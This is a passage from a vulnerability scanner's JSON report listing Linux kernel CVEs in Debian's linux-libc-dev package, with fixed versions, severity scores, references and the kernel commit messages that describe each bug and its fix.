"https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-46084" ], "PublishedDate": "2026-05-27T14:17:29.833Z", "LastModifiedDate": "2026-11-06T17:17:36.05Z" }, { "VulnerabilityID": "CVE-2026-46094", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46094", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8d17e2709900c9bf7e6aaee0dc371e4a16c7c2b8aa1e264615d8d9575fbbe01e", "Title": "kernel: ext4: fix bounds check in check_xattrs() to prevent out-of-bounds access", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix bounds check in check_xattrs() to prevent out-of-bounds access\n\nThe bounds check for the next xattr entry in check_xattrs() uses\n(void *)next \u003e= end, which allows next to point within sizeof(u32)\nbytes of end. On the next loop iteration, IS_LAST_ENTRY() reads 4\nbytes via *(__u32 *)(entry), which can overrun the valid xattr region.\n\nFor example, if next lands at end - 1, the check passes since\nnext \u003c end, but IS_LAST_ENTRY() reads 4 bytes starting at end - 1,\naccessing 3 bytes beyond the valid region.\n\nFix this by changing the check to (void *)next + sizeof(u32) \u003e end,\nensuring there is always enough space for the IS_LAST_ENTRY() read\non the subsequent iteration.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46094", "https://git.kernel.org/linus/eceafc31ea7b42c984ece10d79d505c0bb6615d5%20%287.1-rc1%29", "https://git.kernel.org/stable/c/520986722dbf869c122252123fc161c7302eab7d", "https://git.kernel.org/stable/c/537e065977022aa22f2c2503e8accaf16622e0fd", "https://git.kernel.org/stable/c/5a5314d2387633a272a04d1bd8727f99058e4e68", "https://git.kernel.org/stable/c/ab6da97bc310db35d4e4ef5354bc3ff626b0698c", "https://git.kernel.org/stable/c/eceafc31ea7b42c984ece10d79d505c0bb6615d5", "https://kernelcve.org/list/?q=CVE-2026-46094", "https://linux.oracle.com/cve/CVE-2026-46094.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052703-CVE-2026-46094-7344@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46094", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-46094" ], "PublishedDate": "2026-05-27T14:17:30.963Z", "LastModifiedDate": "2026-11-06T17:17:37.353Z" }, { "VulnerabilityID": "CVE-2026-46099", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46099", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6e12dfa24f58a750bb5a3fba5be6b7bdfc4e27885d7cb910d6baa8c6cb7c7948", "Title": "kernel: net: ipv6: fix NOREF dst use in seg6 and rpl lwtunnels", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ipv6: fix NOREF dst use in seg6 and rpl lwtunnels\n\nseg6_input_core() and rpl_input() call ip6_route_input() which sets a\nNOREF dst on the skb, then pass it to dst_cache_set_ip6() invoking\ndst_hold() unconditionally.\nOn PREEMPT_RT, ksoftirqd is preemptible and a higher-priority task can\nrelease the underlying pcpu_rt between the lookup and the caching\nthrough a concurrent FIB lookup on a shared nexthop.\nSimplified race sequence:\n\n ksoftirqd/X higher-prio task (same CPU X)\n ----------- --------------------------------\n seg6_input_core(,skb)/rpl_input(skb)\n dst_cache_get()\n -\u003e miss\n ip6_route_input(skb)\n -\u003e ip6_pol_route(,skb,flags)\n [RT6_LOOKUP_F_DST_NOREF in flags]\n -\u003e FIB lookup resolves fib6_nh\n [nhid=N route]\n -\u003e rt6_make_pcpu_route()\n [creates pcpu_rt, refcount=1]\n pcpu_rt-\u003esernum = fib6_sernum\n [fib6_sernum=W]\n -\u003e cmpxchg(fib6_nh.rt6i_pcpu,\n NULL, pcpu_rt)\n [slot was empty, store succeeds]\n -\u003e skb_dst_set_noref(skb, dst)\n [dst is pcpu_rt, refcount still 1]\n\n rt_genid_bump_ipv6()\n -\u003e bumps fib6_sernum\n [fib6_sernum from W to Z]\n ip6_route_output()\n -\u003e ip6_pol_route()\n -\u003e FIB lookup resolves fib6_nh\n [nhid=N]\n -\u003e rt6_get_pcpu_route()\n pcpu_rt-\u003esernum != fib6_sernum\n [W \u003c\u003e Z, stale]\n -\u003e prev = xchg(rt6i_pcpu, NULL)\n -\u003e dst_release(prev)\n [prev is pcpu_rt,\n refcount 1-\u003e0, dead]\n\n dst = skb_dst(skb)\n [dst is the dead pcpu_rt]\n dst_cache_set_ip6(dst)\n -\u003e dst_hold() on dead dst\n -\u003e WARN / use-after-free\n\nFor the race to occur, ksoftirqd must be preemptible (PREEMPT_RT without\nPREEMPT_RT_NEEDS_BH_LOCK) and a concurrent task must be able to release\nthe pcpu_rt. Shared nexthop objects provide such a path, as two routes\npointing to the same nhid share the same fib6_nh and its rt6i_pcpu\nentry.\n\nFix seg6_input_core() and rpl_input() by calling skb_dst_force() after\nip6_route_input() to force the NOREF dst into a refcounted one before\ncaching.\nThe output path is not affected as ip6_route_output() already returns a\nrefcounted dst.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-911" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:45114", "https://access.redhat.com/errata/RHSA-2026:59662", "https://access.redhat.com/errata/RHSA-2026:59663", "https://access.redhat.com/errata/RHSA-2026:62568", "https://access.redhat.com/errata/RHSA-2026:64767", "https://access.redhat.com/errata/RHSA-2026:65712", "https://access.redhat.com/security/cve/CVE-2026-46099", "https://bugzilla.redhat.com/2418829", "https://bugzilla.redhat.com/2436755", "https://bugzilla.redhat.com/2464093", "https://bugzilla.redhat.com/2481972", "https://bugzilla.redhat.com/2492277", "https://bugzilla.redhat.com/2492413", "https://bugzilla.redhat.com/show_bug.cgi?id=2418829", "https://bugzilla.redhat.com/show_bug.cgi?id=2436755", "https://bugzilla.redhat.com/show_bug.cgi?id=2464093", "https://bugzilla.redhat.com/show_bug.cgi?id=2481972", "https://bugzilla.redhat.com/show_bug.cgi?id=2492277", "https://bugzilla.redhat.com/show_bug.cgi?id=2492413", "https://bugzilla.redhat.com/show_bug.cgi?id=2510891", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23110", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31692", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46099", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52973", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64561", "https://errata.almalinux.org/10/ALSA-2026-45114.html", "https://errata.rockylinux.org/RLSA-2026:45114", "https://git.kernel.org/linus/f9c52a6ba9780bd27e0bf4c044fd91c13c778b6e%20%287.1-rc2%29", "https://git.kernel.org/stable/c/51fef5a7c4d160839199e941929456ba21ddf73c", "https://git.kernel.org/stable/c/52f9db67f8f35f436366cf4980b4f0a2583d0ef0", "https://git.kernel.org/stable/c/6bd17925bd6866027a6555db17905b9fc073d38d", "https://git.kernel.org/stable/c/9dd5481f960e337b81d7dfe429529495c1c481c0", "https://git.kernel.org/stable/c/b258b849a580285a1692e782ebc902b44c884a71", "https://git.kernel.org/stable/c/b778b6d095421619c331fd2d7751143cd5387103", "https://git.kernel.org/stable/c/f9c52a6ba9780bd27e0bf4c044fd91c13c778b6e", "https://linux.oracle.com/cve/CVE-2026-46099.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026052704-CVE-2026-46099-2a55@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46099", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46099.json", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-46099" ], "PublishedDate": "2026-05-27T14:17:31.557Z", "LastModifiedDate": "2026-10-19T20:18:29.39Z" }, { "VulnerabilityID": "CVE-2026-46116", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.88-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46116", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:86081832cbb9d2910ed84d0b264d50c48ed1a2922ed8dd9f94525de8929aaf69", "Title": "kernel: xfrm: defensively unhash xfrm_state lists in __xfrm_state_delete", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: defensively unhash xfrm_state lists in __xfrm_state_delete\n\nKASAN reproduces a slab-use-after-free in __xfrm_state_delete()'s\nhlist_del_rcu calls under syzkaller load on linux-6.12.y stable\n(reproduced on 6.12.47, also reachable via the same code path on\ntorvalds/master and on the ipsec tree). Nine unique signatures cluster\nin the xfrm_state lifecycle, the load-bearing one being:\n\n BUG: KASAN: slab-use-after-free in __hlist_del include/linux/list.h:990 [inline]\n BUG: KASAN: slab-use-after-free in hlist_del_rcu include/linux/rculist.h:516 [inline]\n BUG: KASAN: slab-use-after-free in __xfrm_state_delete net/xfrm/xfrm_state.c\n Write of size 8 at addr ffff8881198bcb70 by task kworker/u8:9/435\n\n Workqueue: netns cleanup_net\n Call Trace:\n __hlist_del / hlist_del_rcu\n __xfrm_state_delete\n xfrm_state_delete\n xfrm_state_flush\n xfrm_state_fini\n ops_exit_list\n cleanup_net\n\nThe other observed signatures hit the same slab object from\n__xfrm_state_lookup, xfrm_alloc_spi, __xfrm_state_insert and an OOB\nwrite variant of __xfrm_state_delete, all on the byseq/byspi\nhash chains.\n\n__xfrm_state_delete() guards its byseq and byspi unhashes with\nvalue-based predicates:\n\n\tif (x-\u003ekm.seq)\n\t\thlist_del_rcu(\u0026x-\u003ebyseq);\n\tif (x-\u003eid.spi)\n\t\thlist_del_rcu(\u0026x-\u003ebyspi);\n\nwhile everywhere else in the file (e.g. state_cache, state_cache_input)\nthe safer hlist_unhashed() check is used. xfrm_alloc_spi() sets\nx-\u003eid.spi = newspi inside xfrm_state_lock and then immediately inserts\ninto byspi, but a path that observes x-\u003eid.spi != 0 outside of\nxfrm_state_lock can still skip-or-hit the byspi unhash inconsistently\nwith whether x is actually on the list. The same holds for x-\u003ekm.seq\nversus byseq, and the bydst/bysrc unhashes have no predicate at all,\nso a second __xfrm_state_delete() on the same object writes through\nLIST_POISON pprev.\n\nThe defensive change here:\n\n - Use hlist_del_init_rcu() instead of hlist_del_rcu() on bydst,\n bysrc, byseq and byspi so a second deletion is a no-op rather\n than a write through LIST_POISON pprev. The byseq/byspi nodes\n are already initialised in xfrm_state_alloc().\n - Test hlist_unhashed() rather than the value predicate for\n byseq/byspi, so the unhash decision tracks list state rather than\n mutable scalar fields.\n\nEmpirical verification: applied this patch on top of v6.12.47, rebuilt,\nand re-ran the same syzkaller harness for 1h16m on a previously-crashy\nconfiguration that produced ~100 hits each of slab-use-after-free\nRead in xfrm_alloc_spi / Read in __xfrm_state_lookup / Write in\n__xfrm_state_delete. After the patch, 7.1M execs across 32 VMs at\n~1550 exec/sec produced zero xfrm_state UAF/OOB hits. /proc/slabinfo\nconfirms the xfrm_state slab is actively allocated and freed during\nthe run (~143 KiB resident), so the fuzzer is still exercising those\ncode paths -- they just no longer crash.\n\nReproduction:\n\n - Linux 6.12.47 x86_64 + KASAN_GENERIC + KASAN_INLINE + KCOV\n - syzkaller @ 746545b8b1e4c3a128db8652b340d3df90ce61db\n - 32 QEMU/KVM VMs x 2 vCPU on AWS c5.metal bare metal\n - 9 unique signatures collected in ~9h, all within xfrm_state\n lifecycle", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-763" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:36018", "https://access.redhat.com/errata/RHSA-2026:39179", "https://access.redhat.com/errata/RHSA-2026:39180", "https://access.redhat.com/errata/RHSA-2026:39371", "https://access.redhat.com/errata/RHSA-2026:41234", "https://access.redhat.com/errata/RHSA-2026:41235", "https://access.redhat.com/errata/RHSA-2026:42919", "https://access.redhat.com/errata/RHSA-2026:43231", "https://access.redhat.com/errata/RHSA-2026:44385", "https://access.redhat.com/errata/RHSA-2026:47632", "https://access.redhat.com/errata/RHSA-2026:47633", "https://access.redhat.com/errata/RHSA-2026:47739", "https://access.redhat.com/errata/RHSA-2026:47869", "https://access.redhat.com/errata/RHSA-2026:49033", "https://access.redhat.com/errata/RHSA-2026:59142", "https://access.redhat.com/errata/RHSA-2026:59143", "https://access.redhat.com/errata/RHSA-2026:59145", "https://access.redhat.com/errata/RHSA-2026:59146", "https://access.redhat.com/errata/RHSA-2026:59147", "https://access.redhat.com/errata/RHSA-2026:59148", "https://access.redhat.com/errata/RHSA-2026:59149", "https://access.redhat.com/security/cve/CVE-2026-46116", "https://bugzilla.redhat.com/2467015", "https://bugzilla.redhat.com/2467113", "https://bugzilla.redhat.com/2479832", "https://bugzilla.redhat.com/2482523", "https://bugzilla.redhat.com/2482564", "https://bugzilla.redhat.com/2482636", "https://bugzilla.redhat.com/2482660", "https://bugzilla.redhat.com/2484451", "https://bugzilla.redhat.com/2484477", "https://bugzilla.redhat.com/2486958", "https://bugzilla.redhat.com/2486982", "https://bugzilla.redhat.com/show_bug.cgi?id=2467015", "https://bugzilla.redhat.com/show_bug.cgi?id=2467113", "https://bugzilla.redhat.com/show_bug.cgi?id=2479832", "https://bugzilla.redhat.com/show_bug.cgi?id=2482523", "https://bugzilla.redhat.com/show_bug.cgi?id=2482564", "https://bugzilla.redhat.com/show_bug.cgi?id=2482636", "https://bugzilla.redhat.com/show_bug.cgi?id=2482660", "https://bugzilla.redhat.com/show_bug.cgi?id=2484451", "https://bugzilla.redhat.com/show_bug.cgi?id=2484477", "https://bugzilla.redhat.com/show_bug.cgi?id=2486958", "https://bugzilla.redhat.com/show_bug.cgi?id=2486982", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43112", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46155", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46244", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46316", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46323", "https://errata.almalinux.org/9/ALSA-2026-36018.html", "https://errata.rockylinux.org/RLSA-2026:36018", "https://git.kernel.org/linus/14acf9652e5690de3c7486c6db5fb8dafd0a32a3%20%287.1-rc3%29", "https://git.kernel.org/stable/c/14acf9652e5690de3c7486c6db5fb8dafd0a32a3", "https://git.kernel.org/stable/c/26edb0a3c99f9d958c212be68b21f1221614dcf0", "https://git.kernel.org/stable/c/2c617848ae6e4f07a3e397f604208c293bbecacc", "https://git.kernel.org/stable/c/3943fcad7694a7d0b15aeabe7d3cc2a2eb8e92e8", "https://git.kernel.org/stable/c/4980162de555cb838f1a189ce7d2cbf5d2e7b050", "https://git.kernel.org/stable/c/6b4dc3181b4bfc5f5fc33ab33b1dc6e15759f4b6", "https://git.kernel.org/stable/c/a2e2d08fb070fab4947447171f1c4e3ca5a188e5", "https://git.kernel.org/stable/c/b4a53add2fa8f1b5aa17d4c5686c320785fab182", "https://linux.oracle.com/cve/CVE-2026-46116.html", "https://linux.oracle.com/errata/ELSA-2026-50319.html", "https://lore.kernel.org/linux-cve-announce/2026052814-CVE-2026-46116-73b8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46116", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46116.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-46116" ], "PublishedDate": "2026-05-28T10:16:27.08Z", "LastModifiedDate": "2026-10-19T20:18:31.907Z" }, { "VulnerabilityID": "CVE-2026-46117", "VendorIDs": [ "DSA-6355-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46117", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:23060c9fdedfe9ab9a3ee4699a9210b3d56a8dc274afeb8cc98dd7892b1b1653", "Title": "kernel: RDMA/mana: Remove user triggerable WARN_ON() in mana_ib_create_qp_rss()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/mana: Remove user triggerable WARN_ON() in mana_ib_create_qp_rss()\n\nSashiko points out that the user can specify WQs sharing the same CQ as a\npart of the uAPI and this will trigger the WARN_ON() then go on to corrupt\nthe kernel.\n\nJust reject it outright and fail the QP creation.", "Severity": "HIGH", "CweIDs": [ "CWE-617", "CWE-20", "CWE-1288" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:27789", "https://access.redhat.com/errata/RHSA-2026:30129", "https://access.redhat.com/errata/RHSA-2026:42550", "https://access.redhat.com/errata/RHSA-2026:42552", "https://access.redhat.com/errata/RHSA-2026:65712", "https://access.redhat.com/errata/RHSA-2026:67720", "https://access.redhat.com/security/cve/CVE-2026-46117", "https://bugzilla.redhat.com/2460646", "https://bugzilla.redhat.com/2461503", "https://bugzilla.redhat.com/2464092", "https://bugzilla.redhat.com/2464502", "https://bugzilla.redhat.com/2467083", "https://bugzilla.redhat.com/2467215", "https://bugzilla.redhat.com/2468155", "https://bugzilla.redhat.com/2479492", "https://bugzilla.redhat.com/2481922", "https://bugzilla.redhat.com/2482181", "https://bugzilla.redhat.com/2482563", "https://bugzilla.redhat.com/2482576", "https://bugzilla.redhat.com/2482581", "https://bugzilla.redhat.com/2482608", "https://bugzilla.redhat.com/2482634", "https://bugzilla.redhat.com/2482645", "https://bugzilla.redhat.com/2482654", "https://bugzilla.redhat.com/show_bug.cgi?id=2460646", "https://bugzilla.redhat.com/show_bug.cgi?id=2461503", "https://bugzilla.redhat.com/show_bug.cgi?id=2464092", "https://bugzilla.redhat.com/show_bug.cgi?id=2464502", "https://bugzilla.redhat.com/show_bug.cgi?id=2467083", "https://bugzilla.redhat.com/show_bug.cgi?id=2467215", "https://bugzilla.redhat.com/show_bug.cgi?id=2468155", "https://bugzilla.redhat.com/show_bug.cgi?id=2479492", "https://bugzilla.redhat.com/show_bug.cgi?id=2481922", "https://bugzilla.redhat.com/show_bug.cgi?id=2482181", "https://bugzilla.redhat.com/show_bug.cgi?id=2482563", "https://bugzilla.redhat.com/show_bug.cgi?id=2482576", "https://bugzilla.redhat.com/show_bug.cgi?id=2482581", "https://bugzilla.redhat.com/show_bug.cgi?id=2482608", "https://bugzilla.redhat.com/show_bug.cgi?id=2482634", "https://bugzilla.redhat.com/show_bug.cgi?id=2482645", "https://bugzilla.redhat.com/show_bug.cgi?id=2482654", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31474", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31772", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43279", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43414", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46135", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46152", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46173", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46331", "https://errata.almalinux.org/9/ALSA-2026-27789.html", "https://errata.rockylinux.org/RLSA-2026:27789", "https://git.kernel.org/linus/159f2efabc89d3f931d38f2d35876535d4abf0a3%20%287.1-rc3%29", "https://git.kernel.org/stable/c/159f2efabc89d3f931d38f2d35876535d4abf0a3", "https://git.kernel.org/stable/c/9cc0c6b1ba8cd5c55aef043e1384de0a8b4efa71", "https://git.kernel.org/stable/c/9ef65af26b2a6738bf15812042e84b3112402d3a", "https://git.kernel.org/stable/c/db991ba50087ad99fa12a2c483aa3be19671ea73", "https://linux.oracle.com/cve/CVE-2026-46117.html", "https://linux.oracle.com/errata/ELSA-2026-42552.html", "https://lore.kernel.org/linux-cve-announce/2026052814-CVE-2026-46117-a93b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46117", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46117.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", 